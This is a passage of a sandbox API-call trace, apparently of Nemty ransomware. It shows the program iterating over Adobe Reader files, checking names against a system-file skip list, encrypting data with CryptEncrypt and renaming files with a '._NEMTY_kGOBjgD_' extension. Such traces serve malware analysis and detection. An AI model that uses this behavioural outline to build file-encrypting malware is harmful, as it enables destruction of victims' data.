lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0207.010] CloseHandle (hObject=0xffffffff) returned 0 [0207.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0207.010] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0207.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0207.010] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0207.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0207.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0207.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0207.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0207.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0207.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0207.010] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBT-EUC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbt-euc-v"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBT-EUC-V._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbt-euc-v._nemty_kgobjgd_")) returned 0 [0207.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0207.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0207.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0207.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0207.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0207.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0207.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0207.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0207.011] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x145a, dwReserved0=0x0, dwReserved1=0x0, cFileName="H", cAlternateFileName="")) returned 1 [0207.011] lstrcmpiW (lpString1="H", lpString2=".") returned 1 [0207.011] lstrcmpiW (lpString1="H", lpString2="..") returned 1 [0207.011] lstrcmpiW (lpString1="H", lpString2="...") returned 1 [0207.011] lstrcmpiW (lpString1="H", lpString2="windows") returned -1 [0207.011] lstrcmpiW (lpString1="H", lpString2="$RECYCLE.BIN") returned 1 [0207.011] lstrcmpiW (lpString1="H", lpString2="rsa") returned -1 [0207.011] lstrcmpiW (lpString1="H", lpString2="NTDETECT.COM") returned -1 [0207.011] lstrcmpiW (lpString1="H", lpString2="ntldr") returned -1 [0207.011] lstrcmpiW (lpString1="H", lpString2="MSDOS.SYS") returned -1 [0207.011] lstrcmpiW (lpString1="H", lpString2="IO.SYS") returned -1 [0207.011] lstrcmpiW (lpString1="H", lpString2="boot.ini") returned 1 [0207.011] lstrcmpiW (lpString1="H", lpString2="boot.ini") returned 1 [0207.011] lstrcmpiW (lpString1="H", lpString2="AUTOEXEC.BAT") returned 1 [0207.011] lstrcmpiW (lpString1="H", lpString2="ntuser.dat") returned -1 [0207.011] lstrcmpiW (lpString1="H", lpString2="desktop.ini") returned 1 [0207.011] lstrcmpiW (lpString1="H", lpString2="CONFIG.SYS") returned 1 [0207.011] lstrcmpiW (lpString1="H", lpString2="RECYCLER") returned -1 [0207.011] lstrcmpiW (lpString1="H", lpString2="BOOTSECT.BAK") returned 1 [0207.011] lstrcmpiW (lpString1="H", lpString2="bootmgr") returned 1 [0207.011] lstrcmpiW (lpString1="H", lpString2="programdata") returned -1 [0207.011] lstrcmpiW (lpString1="H", lpString2="appdata") returned 1 [0207.011] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="H", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0207.011] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="H", cchWideChar=1, lpMultiByteStr=0x653ebd0, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H", lpUsedDefaultChar=0x0) returned 1 [0207.011] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="H", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0207.011] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="H", cchWideChar=1, lpMultiByteStr=0x653ebd0, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H", lpUsedDefaultChar=0x0) returned 1 [0207.011] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="H", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0207.011] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="H", cchWideChar=1, lpMultiByteStr=0x653ec20, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H", lpUsedDefaultChar=0x0) returned 1 [0207.011] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="H", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0207.011] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="H", cchWideChar=1, lpMultiByteStr=0x653ec58, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H", lpUsedDefaultChar=0x0) returned 1 [0207.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94088 [0207.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0207.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94110 [0207.012] Sleep (dwMilliseconds=0x5) [0207.026] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2f08caf0, dwHighDateTime=0x1d561e8)) [0207.026] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2f08caf0, dwHighDateTime=0x1d561e8)) [0207.026] GetLastError () returned 0x5 [0207.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0207.026] GetLastError () returned 0x5 [0207.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0207.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0207.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0207.026] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0207.026] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0207.026] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0207.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0207.026] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="GDUEePx+ZRnaJXmN63JK8MlSSCIHXjsPsYjf5BoO3mY8YRpVtHoqPoDGvpA3Upik\r\nxvWIgnG8Uf8NXPJFld08xkgjCIdDtyFuAp+vLgyqp+KESKaEyYLUrP+bnJmR7bmC\r\ng0f+aOiO4mp+CtVoFTZyYaSsHynl9Xm5/MS6dYZxwoyXZA8UnOoiyKC+hrvRz8Ek\r\nMTpCKZEItekVoGEhuAAwiqH/AhqQiX5OLxF4h5qm4tzRogyt8kxrRgwGcksS+w9H\r\njA6aoFZxYEY8WcLCAH1GjIRUaJIiocaMCBeDUsXloyFW8L1VlZHytnyFaMDUdVf7\r\n7KyKd0E+lSkSnVbuEMD5IQ==\r\n", pcchString=0x653e91c) returned 1 [0207.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0207.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0207.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0207.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0207.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0207.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0207.026] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\h"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0207.027] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0207.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0207.027] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.027] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.036] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.036] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.036] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.036] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.045] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.045] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.045] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.045] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.057] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.057] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.057] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.057] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.066] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.066] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.066] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.066] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.075] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.075] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.076] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.076] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.085] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.085] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.085] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.085] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.094] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.094] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.094] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.094] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.103] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.104] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.104] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.104] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.113] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.113] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.113] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.113] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.122] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.122] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.122] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.122] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.128] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.128] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.128] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.128] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.134] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.134] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.134] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.135] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348ed8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0207.135] CloseHandle (hObject=0xffffffff) returned 0 [0207.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94198 [0207.135] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0207.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0207.135] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0207.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0207.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0207.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94220 [0207.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f942a8 [0207.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94220 | out: hHeap=0x4f90000) returned 1 [0207.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0207.135] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\h"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\H._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\h._nemty_kgobjgd_")) returned 0 [0207.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942a8 | out: hHeap=0x4f90000) returned 1 [0207.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0207.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0207.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0207.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0207.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0207.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0207.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94110 | out: hHeap=0x4f90000) returned 1 [0207.135] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5f97, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKdla-B5-H", cAlternateFileName="HKDLA-~1")) returned 1 [0207.135] lstrcmpiW (lpString1="HKdla-B5-H", lpString2=".") returned 1 [0207.135] lstrcmpiW (lpString1="HKdla-B5-H", lpString2="..") returned 1 [0207.135] lstrcmpiW (lpString1="HKdla-B5-H", lpString2="...") returned 1 [0207.135] lstrcmpiW (lpString1="HKdla-B5-H", lpString2="windows") returned -1 [0207.135] lstrcmpiW (lpString1="HKdla-B5-H", lpString2="$RECYCLE.BIN") returned 1 [0207.135] lstrcmpiW (lpString1="HKdla-B5-H", lpString2="rsa") returned -1 [0207.136] lstrcmpiW (lpString1="HKdla-B5-H", lpString2="NTDETECT.COM") returned -1 [0207.136] lstrcmpiW (lpString1="HKdla-B5-H", lpString2="ntldr") returned -1 [0207.136] lstrcmpiW (lpString1="HKdla-B5-H", lpString2="MSDOS.SYS") returned -1 [0207.136] lstrcmpiW (lpString1="HKdla-B5-H", lpString2="IO.SYS") returned -1 [0207.136] lstrcmpiW (lpString1="HKdla-B5-H", lpString2="boot.ini") returned 1 [0207.136] lstrcmpiW (lpString1="HKdla-B5-H", lpString2="boot.ini") returned 1 [0207.136] lstrcmpiW (lpString1="HKdla-B5-H", lpString2="AUTOEXEC.BAT") returned 1 [0207.136] lstrcmpiW (lpString1="HKdla-B5-H", lpString2="ntuser.dat") returned -1 [0207.136] lstrcmpiW (lpString1="HKdla-B5-H", lpString2="desktop.ini") returned 1 [0207.136] lstrcmpiW (lpString1="HKdla-B5-H", lpString2="CONFIG.SYS") returned 1 [0207.136] lstrcmpiW 